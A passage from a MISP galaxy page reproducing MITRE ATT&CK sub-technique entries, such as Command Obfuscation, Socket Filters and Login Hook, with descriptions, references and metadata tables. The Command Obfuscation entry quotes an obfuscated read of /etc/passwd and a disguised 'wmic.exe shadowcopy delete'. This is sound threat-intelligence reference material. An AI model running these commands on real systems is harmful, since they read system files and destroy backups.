The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
Internal MISP references
UUID 8868cb5b-d575-4a60-acb2-07d37389a2fd which can be used as unique global reference for Port Knocking - T1205.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1205.001 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Network:defense-evasion', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence', 'attack-Network:persistence', 'attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Binary Padding - T1027.001
Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.
Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)
Internal MISP references
UUID 5bfccc3f-2326-4112-86cc-c1ece9d8a2b5 which can be used as unique global reference for Binary Padding - T1027.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.001 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Metadata'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Command Obfuscation - T1027.010
Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., Phishing and Drive-by Compromise) or interactively via Command and Scripting Interpreter.(Citation: Akamai JS)(Citation: Malware Monday VBE)
For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, ^, +. $, and %) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (“Wor”+“d.Application”), order and casing of characters (rev <<<'dwssap/cte/ tac'), globing (mkdir -p '/tmp/:&$NiA'), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)
Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (C:\voi\pcw\..\..\Windows\tei\qs\k\..\..\..\system32\erool\..\wbem\wg\je\..\..\wmic.exe shadowcopy delete).(Citation: Twitter Richard WMIC)
Tools such as Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)
Internal MISP references
UUID d511a6f6-4a33-41d5-bc95-c343875d1377 which can be used as unique global reference for Command Obfuscation - T1027.010 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1027/010 - webarchive
- https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html - webarchive
- https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16 - webarchive
- https://github.com/danielbohannon/Invoke-DOSfuscation - webarchive
- https://github.com/danielbohannon/Invoke-Obfuscation - webarchive
- https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand - webarchive
- https://redcanary.com/threat-detection-report/techniques/powershell/ - webarchive
- https://twitter.com/rfackroyd/status/1639136000755765254 - webarchive
- https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html - webarchive
- https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.010 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'Script: Script Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Cloud Services - T1021.007
Adversaries may log into accessible cloud services within a compromised environment using Valid Accounts that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user.
Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., Cloud API), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.
In some cases, adversaries may be able to authenticate to these services via Application Access Token instead of a username and password.
Internal MISP references
UUID 8861073d-d1b8-4941-82ce-dce621d398f0 which can be used as unique global reference for Cloud Services - T1021.007 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1021.007 |
| kill_chain | ['attack-Office-365:lateral-movement', 'attack-Azure-AD:lateral-movement', 'attack-SaaS:lateral-movement', 'attack-IaaS:lateral-movement', 'attack-Google-Workspace:lateral-movement'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation'] |
| mitre_platforms | ['Office 365', 'Azure AD', 'SaaS', 'IaaS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Mail Protocols - T1071.003
Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: FireEye APT28)
Internal MISP references
UUID 54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b which can be used as unique global reference for Mail Protocols - T1071.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1071.003 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Environmental Keying - T1480.001
Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of Execution Guardrails that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)
Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).
Similar to Obfuscated Files or Information, adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.
Like other Execution Guardrails, environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.
Internal MISP references
UUID f244b8dd-af6c-4391-a497-fc03627ce995 which can be used as unique global reference for Environmental Keying - T1480.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1480/001 - webarchive
- https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf - webarchive
- https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js - webarchive
- https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf - webarchive
- https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf - webarchive
- https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/ - webarchive
- https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices - webarchive
- https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1480.001 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
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Domain Properties - T1590.001
Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.
Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: WHOIS).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Phishing).
Internal MISP references
UUID e3b168bd-fcd7-439e-9382-2e6c2f63514d which can be used as unique global reference for Domain Properties - T1590.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1590/001 - webarchive
- https://dnsdumpster.com/ - webarchive
- https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure - webarchive
- https://o365blog.com/post/just-looking/ - webarchive
- https://www.circl.lu/services/passive-dns/ - webarchive
- https://www.whois.net/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1590.001 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
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Web Cookies - T1606.001
Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.
Adversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values.
Once forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)
Internal MISP references
UUID 861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a which can be used as unique global reference for Web Cookies - T1606.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1606/001 - webarchive
- https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ - webarchive
- https://wunderwuzzi23.github.io/blog/passthecookie.html - webarchive
- https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1606.001 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:credential-access', 'attack-SaaS:credential-access', 'attack-IaaS:credential-access'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Usage'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'SaaS', 'IaaS'] |
Related clusters
To see the related clusters, click here.
Upload Malware - T1608.001
Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.
Malware may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)
Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via User Execution. Masquerading may increase the chance of users mistakenly executing these files.
Internal MISP references
UUID 3ee16395-03f0-4690-a32e-69ce9ada0f9e which can be used as unique global reference for Upload Malware - T1608.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1608.001 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Local Groups - T1069.001
Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.
Commands such as net localgroup of the Net utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.
Internal MISP references
UUID a01bf75f-00b2-4568-a58f-565ff9bf202b which can be used as unique global reference for Local Groups - T1069.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1069.001 |
| kill_chain | ['attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Group: Group Enumeration', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Default Accounts - T1078.001
Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)
Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.(Citation: Metasploit SSH Module)
Internal MISP references
UUID 6151cbea-819b-455a-9fa6-99a1cc58797d which can be used as unique global reference for Default Accounts - T1078.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1078/001 - webarchive
- https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html - webarchive
- https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts - webarchive
- https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh - webarchive
- https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1078.001 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Azure-AD:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Google-Workspace:defense-evasion', 'attack-Containers:defense-evasion', 'attack-Network:defense-evasion', 'attack-Windows:persistence', 'attack-Azure-AD:persistence', 'attack-Office-365:persistence', 'attack-SaaS:persistence', 'attack-IaaS:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Google-Workspace:persistence', 'attack-Containers:persistence', 'attack-Network:persistence', 'attack-Windows:privilege-escalation', 'attack-Azure-AD:privilege-escalation', 'attack-Office-365:privilege-escalation', 'attack-SaaS:privilege-escalation', 'attack-IaaS:privilege-escalation', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Google-Workspace:privilege-escalation', 'attack-Containers:privilege-escalation', 'attack-Network:privilege-escalation', 'attack-Windows:initial-access', 'attack-Azure-AD:initial-access', 'attack-Office-365:initial-access', 'attack-SaaS:initial-access', 'attack-IaaS:initial-access', 'attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Google-Workspace:initial-access', 'attack-Containers:initial-access', 'attack-Network:initial-access'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers', 'Network'] |
Related clusters
To see the related clusters, click here.
Local Account - T1087.001
Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
Commands such as net user and net localgroup of the Net utility and id and groups on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.
Internal MISP references
UUID 25659dd6-ea12-45c4-97e6-381e3e4b593e which can be used as unique global reference for Local Account - T1087.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1087/001 - webarchive
- https://linux.die.net/man/1/groups - webarchive
- https://linux.die.net/man/1/id - webarchive
- https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1087.001 |
| kill_chain | ['attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Group: Group Enumeration', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Malicious File - T1204.002
An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.
Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)
While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.
Internal MISP references
UUID 232b7f21-adf9-4b42-b936-b9d6f7df856e which can be used as unique global reference for Malicious File - T1204.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1204.002 |
| kill_chain | ['attack-Linux:execution', 'attack-macOS:execution', 'attack-Windows:execution'] |
| mitre_data_sources | ['File: File Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Socket Filters - T1205.002
Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the libpcap library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.
To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)
Filters can be installed on any Unix-like platform with libpcap installed or on Windows hosts using Winpcap. Adversaries may use either libpcap with pcap_setfilter or the standard library function setsockopt with SO_ATTACH_FILTER options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.
Internal MISP references
UUID 005cc321-08ce-4d17-b1ea-cb5275926520 which can be used as unique global reference for Socket Filters - T1205.002 in MISP communities and other software using the MISP galaxy
External references
- http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf - webarchive
- https://attack.mitre.org/techniques/T1205/002 - webarchive
- https://exatrack.com/public/Tricephalic_Hellkeeper.pdf - webarchive
- https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/ - webarchive
- https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1205.002 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence', 'attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Software Packing - T1027.002
Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)
Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing)
Internal MISP references
UUID deb98323-e13f-4b0c-8d94-175379069062 which can be used as unique global reference for Software Packing - T1027.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.002 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:defense-evasion'] |
| mitre_data_sources | ['File: File Metadata'] |
| mitre_platforms | ['macOS', 'Windows', 'Linux'] |
Related clusters
To see the related clusters, click here.
Malicious Image - T1204.003
Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via Upload Malware, and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)
Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: Match Legitimate Name or Location).(Citation: Aqua Security Cloud Native Threat Report June 2021)
Internal MISP references
UUID b0c74ef9-c61e-4986-88cb-78da98a355ec which can be used as unique global reference for Malicious Image - T1204.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1204/003 - webarchive
- https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation - webarchive
- https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1204.003 |
| kill_chain | ['attack-IaaS:execution', 'attack-Containers:execution'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Container: Container Creation', 'Container: Container Start', 'Image: Image Creation', 'Instance: Instance Creation', 'Instance: Instance Start'] |
| mitre_platforms | ['IaaS', 'Containers'] |
Related clusters
To see the related clusters, click here.
File Deletion - T1630.002
Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location.(Citation: Android DevicePolicyManager 2019)
Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.
Internal MISP references
UUID ab7400b7-3476-4776-9545-ef3fa373de63 which can be used as unique global reference for File Deletion - T1630.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1630.002 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Login Hook - T1037.002
Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)
Adversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)
Note: Login hooks were deprecated in 10.11 version of macOS in favor of Launch Daemon and Launch Agent
Internal MISP references
UUID 43ba2b05-cf72-4b6c-8243-03a4aba41ee0 which can be used as unique global reference for Login Hook - T1037.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1037/002 - webarchive
- https://developer.apple.com/documentation/devicemanagement/loginwindowscripts - webarchive
- https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html - webarchive
- https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf - webarchive
- https://www.sentinelone.com/blog/how-malware-persists-on-macos/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1037.002 |
| kill_chain | ['attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Software Packing - T1406.002
Adversaries may perform software packing to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.
Utilities used to perform software packing are called packers. An example packer is FTT. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.
Internal MISP references
UUID 51636761-2e35-44bf-9e56-e337adf97174 which can be used as unique global reference for Software Packing - T1406.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1406.002 |
| kill_chain | ['mobile-attack-iOS:defense-evasion', 'mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['iOS', 'Android'] |
Related clusters
To see the related clusters, click here.
Transport Agent - T1505.002
